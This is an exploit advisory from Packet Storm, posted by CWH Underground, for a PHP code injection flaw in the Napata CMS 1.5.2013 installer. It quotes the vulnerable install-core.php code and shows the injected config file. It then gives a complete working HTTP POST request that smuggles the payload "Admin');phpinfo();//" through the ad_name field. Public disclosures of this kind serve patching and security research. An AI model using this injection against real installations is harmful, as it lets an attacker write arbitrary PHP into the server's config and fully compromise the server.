exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Napata CMS 1.5.2013 PHP Code Injection

Napata CMS 1.5.2013 PHP Code Injection
Posted Jun 5, 2013
Authored by CWH Underground

Napata CMS version 1.5.2013 suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | ebcf583596fbf219f2bb9ee1f35d37975af3f02ec258ec4464dc9a0ed5490f6f

Napata CMS 1.5.2013 PHP Code Injection

Change Mirror Download
# Exploit Title   : Napata CMS PHP Code Injection
# Date : 5 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://napata-cms.blogspot.com/
# Software Link : http://sourceforge.net/projects/napatacms/files/latest/download
# Version : 1.5.2013
# Tested on : Window and Linux

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/install/install-core.php (LINE: 123-151)

-----------------------------------------------------------------------------
LINE 123-149:

function SaveSettings () {
global $_POST;
if(isset($_POST['save_settings']))
{

echo 'The config file has been written ......<br />';
$default_time = isset($_POST['default_time']) ? $_POST['default_time'] : 'UTC';
$db_host = isset($_POST['db_host']) ? $_POST['db_host'] : 'localhost';
$db_name = isset($_POST['db_name']) ? $_POST['db_name'] : '';
$db_user = isset($_POST['db_user']) ? $_POST['db_user'] : 'root';
$db_password = isset($_POST['db_password']) ? $_POST['db_password'] : '';
$db_prefix = isset($_POST['db_prefix']) ? $_POST['db_prefix'] : 'npt_';
$ad_name = isset($_POST['ad_name']) ? $_POST['ad_name'] : '';
$ad_username = isset($_POST['ad_username']) ? $_POST['ad_username'] : 'admin';
$ad_email = isset($_POST['ad_email']) ? $_POST['ad_email'] : '';
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$sitename = isset($_POST['sitename']) ? addslashes($_POST['sitename']) : 'Napata CMS';
$tagline = isset($_POST['tagline']) ? addslashes($_POST['tagline']) : 'A different CMS';
$home_articles = isset($_POST['home_articles']) ? $_POST['home_articles'] : '5';
$static_homepage = isset($_POST['homepage']) ? addslashes($_POST['homepage']) : '';
$twitter = isset($_POST['twitter']) ? $_POST['twitter'] : 'http://twitter.com/username';
$facebook = isset($_POST['facebook']) ? $_POST['facebook'] : 'http://www.facebook.com';
$linkedin = isset($_POST['linkedin']) ? $_POST['linkedin'] : 'http://www.linkedin.com';
$youtube = isset($_POST['youtube']) ? $_POST['youtube'] : 'http://www.youtube.com';
$flickr = isset($_POST['flickr']) ? $_POST['flickr'] : 'http://www.flickr.com';
$version = VERSION;
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
LINE 151:

$fh = fopen("include/settings/base.php", 'w+') or die("Could not create the config file. Please check the file permissions to the cms installation folder.");

-----------------------------------------------------------------------------

#####################################################
DESCRIPTION
#####################################################

An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.

This CMS has input validation by addslashes() function (LINE: 140,141,143). Anyway attacker able to insert PHP code "Admin');phpinfo();//" into other parameter
that's not properly sanitized.

/settings/base.php
-----------------------------------------------------------------------------
...
date_default_timezone_set('UTC');
define ('DATABASE_HOST', 'localhost');
define ('DATABASE_NAME', 'napata');
define ('DATABASE_USER_NAME', 'root');
define ('DATABASE_PASSWORD', 'myDB@dm1n');
define('ADMIN_NAME','Admin');phpinfo();//');
define('ADMIN_USERNAME','admin');
...
-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################


POST /napata/install.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/napata/install.php
Cookie: lang=en_US; PHPSESSID=s291lhmkfa4qsjk5kb5k5268e3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 525

default_time=UTC&db_host=localhost&db_name=napata&db_user=root&db_password=myDB@dm1n&db_prefix=npt_&ad_name=Admin');phpinfo();//&ad_username=admin&
ad_email=admin%40this-site.com&domain=www.what-is-my-site-domain.me&sitename=Napata+CMS&tagline=A+different+CMS&home_articles=5&homepage=About+Us&
twitter=http%3A%2F%2Ftwitter.com%2Fusername&facebook=http%3A%2F%2Fwww.facebook.com&linkedin=http%3A%2F%2Fwww.linkedin.com&youtube=http%3A%2F%2Fwww.youtube.com&
flickr=http%3A%2F%2Fwww.flickr.com&save_settings=Save+Settings

################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close